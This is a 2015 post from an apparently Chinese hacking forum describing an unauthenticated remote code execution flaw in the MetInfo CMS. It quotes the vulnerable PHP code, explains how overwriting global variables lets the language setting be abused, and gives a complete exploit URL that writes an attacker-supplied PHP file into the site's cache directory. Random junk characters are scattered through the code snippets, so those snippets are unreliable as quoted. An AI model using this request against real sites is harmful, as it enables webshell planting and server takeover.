• 设为首页
  • 点击收藏
  • 手机APP
    手机扫一扫下载
    华域联盟APP
  • 关注官方公众号
    微信扫一扫关注
    华域联盟公众号
hot天融信关于ThinkPHP5.1框架分离RCE漏洞的深

[/backcolor] 0x00 前言在前几个月,Thinkphp连续迸发了多个严重漏洞。由于框架应用的普遍性,漏洞影响十分 详情

MetInfo 无需登录前台直接GETSHELL

  [复制链接]
sterben 发表于 2015-8-4 10:04:29 | 显示全部楼层 |阅读模式 打印 上一主题 下一主题

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册 新浪微博登陆

x

简要描述:

  MetInfo 无需登录前台GETSHELL 看着metinfo 注入都两个$$ @疯狗 @Finger来一道闪电吧

  详细说明:

  metinfo整体做的还算不错,但是一个小疏忽,越权导致大漏洞

  代码如下:

  admin/include/common.inc.php 由于之前在最外围进行了一次参数解析,所以这里可以通过全量覆盖过来

  先不说这里,一会儿用得上,我们看一下

  admin/include/lang.php:


2 r" \  k, z* p0 K4 j: ~0 K7 G9 @
以下是代码片段:
if($_GET[langset]!="" and $met_admin_type_ok==1){$languser = $_GET[langset];}$langset=($languser!="")?$languser:$met_admin_type;if(!file_get_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php')){        $js="var user_msg = new Array();\n";        $query="select * from $met_language where lang='$langset' and site='1' and array!='0'";        $result= $db->query($query);                if($db->affected_rows()==0){                require_once ROOTPATH_ADMIN.'system/lang/lang.func.php';                $post=array('newlangmark'=>$langset,'metcms_v'=>$metcms_v,'newlangtype'=>'admin');                $file_basicname=ROOTPATH_ADMIN.'update/lang/lang_'.$langset.'.ini';                $re=syn_lang($post,$file_basicname,$langset,1,0);                $query="select * from $met_language where lang='$langset' and site='1' and array!='0'";                $result= $db->query($query);        }        while($listlang= $db->fetch_array($result)){                if(substr($listlang['name'],0,2)=='js'){                        $tmp=trim($listlang['value']);                        $js=$js."user_msg['{$listlang['name']}']='$tmp';\n";                }                $name = 'lang_'.$listlang['name'];                $$name= trim($listlang['value']);                $str.='$'."{$name}='".str_replace(array('\\',"'"),array("\\\\","\\'"),trim($listlang['value']))."';";        }        //echo $str;        $js1='$'."js='".str_replace("'","\\'",$js).'\';';        $str="<?php\n".$str.$js1."\n?>";        file_put_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php',$str);}else{        require_once ROOTPATH.'cache/langadmin_'.$langset.'.php';}
$ D: T7 F  r9 R- _) O2 ?

  第一步:

8 _, [( m* _& Y  @8 g
以下是代码片段:
if($_GET[langset]!="" and $met_admin_type_ok==1){9 C" U" I) T+ J, @0 \
+ v: Z* K9 R/ Y
$languser = $_GET[langset];9 _; Z: Y% H  `9 u% c6 h) s

: C4 ^' _5 L$ A% V4 X8 H* t" H}

  ~3 @1 M' g8 V* i6 a

  这里我们全量覆盖met_admin_type_ok=1 就可以直接赋值无过滤赋值$languser

  怎么能让这一句成立

" E' c4 K, l0 b. |  Z$ p
以下是代码片段:
!file_get_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php')1 l% c/ A# |  J: ^$ w5 m) z- J

/ M- b4 m3 s7 s( L$ E& N  E# s. u' o

  第一我们得定义ROOTPATH

  第二我们知道,php一个全版本的小bug

  file_put_contents("d:/a.php/../a.php")这种是不会报错的

  但是对于langset 他有限制条件,我们怎么逾越这个条件

  此时猜想,若果有一个地方也越权,并且include了lang.php

  common.inc.php:


+ D. G% A2 T0 E( T0 A7 e, R* f
以下是代码片段:
if(!is_array($met_langadmin[$_GET[langset]])&&$_GET[langset]!='')die('not have this language');if($_GET[langset]!=''){        $_GET[langset]=daddslashes($_GET[langset],0,1);        change_met_cookie('languser',$_GET[langset]);        save_met_cookie();}$_M['user']['cookie'] = $met_cookie;$metinfo_admin_name     = get_met_cookie('metinfo_admin_name');$metinfo_admin_pass     = get_met_cookie('metinfo_admin_pass');$metinfo_admin_pop      = get_met_cookie('metinfo_admin_pop');$metinfo_admin_shortcut = get_met_cookie('metinfo_admin_shortcut');$languser               = get_met_cookie('languser');$langadminok            = get_met_cookie('metinfo_admin_lang');$langusenow=$languser;if($langadminok<>"" and $langadminok<>'metinfo')$adminlang=explode('-',$langadminok);require_once ROOTPATH_ADMIN.'include/lang.php';

9 P. M% c5 L& C: L

  发现了在此处引入,下来我们看

& ^: q7 U. A" a5 e' ?# H
以下是代码片段:
if(!is_array($met_langadmin[$_GET[langset]])&&$_GET[langset]!='')die('not have this language');

& g: S3 b6 `. _4 D

  如果met_langadmin参与运算的结果是个数组,这时候langset 就完全可控制

  后面走到了

4 L4 N# a3 _9 B: X; {
以下是代码片段:
  lang.php:
  1.!file_get_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php') 此处要是个空文件
  2.$query="select * from $met_language where lang='$langset' and site='1' and array!='0'";
  $result= $db->query($query);

8 N' X" H) L$ P7 ~3 S5 E) D9 h

  这个查询为空,langset经过构造后 这个肯定是个空


' Z0 o: Z! H  x
以下是代码片段:
  3.$js1='$'."js='".str_replace("'","\\'",$js).'\';';
  $str="";
  file_put_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php',$str);

# ?  k3 @5 \, w4 h, G( ~6 |, E

  发现$str 就可以没有任何给它初始化,直接全局覆盖过来即可

  发送url:

  []=12345&str=phpinfo%28%29%3B%3F%3E%2f%2f]http://localhost/metinfo/admin/include/common.inc.php?met_admin_type_ok=1&langset=123&met_langadmin[123][]=12345&str=phpinfo%28%29%3B%3F%3E%2f%2f

  直接就会在

  cache目录下创建一个文件langadmin_123.php

  内容为:


3 ~' D" I& E: m1 r8 R( B
以下是代码片段:5 s7 q+ |* R& v& e# W
<?php  d5 J$ @/ Q6 ^0 C

6 m' Z; [; f+ W0 G* ]phpinfo();?>//$js='var user_msg = new Array();
) d( u) |4 D+ }0 g
( }0 F; B" b$ q/ ~& u, O, Z+ h';, K' Q& E# p7 P, n- D# @
: S$ F$ p9 _  L" @; ~& t6 k
?>
+ f; G2 h, P! W  o5 G# V
7 \. o1 }5 Q8 s4 h: K

9 P9 ?& y+ ^2 G! f. P5 @* h

  访问一下

2015080409143363.png

% q: k  v( o$ t8 a) f( K. a( b; j
You look down on me today, tomorrow I can't let you have been

精彩评论22

zuantanduila 发表于 2016-6-7 01:48:13 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
二洋璜 发表于 2016-6-25 10:13:21 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
汎阿青 发表于 2016-6-25 11:02:47 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
潮务点 发表于 2016-6-25 18:44:26 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
汎阿青 发表于 2016-6-25 18:50:06 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
广翠宪 发表于 2016-6-25 19:04:45 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
珍妨莲 发表于 2016-6-25 19:07:14 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
登洲远 发表于 2016-6-25 20:28:39 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
珍妨莲 发表于 2016-6-25 21:33:21 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽

关注0

粉丝6

帖子3328

发布主题
阅读排行 更多
广告位

扫描微信二维码

关注华域联盟公众号

随时了解更新最新资讯

admin@cnhackhy.com

在线客服(服务时间 9:00~18:00)

在线QQ客服

Powered by cnhackhy! © 2015-2019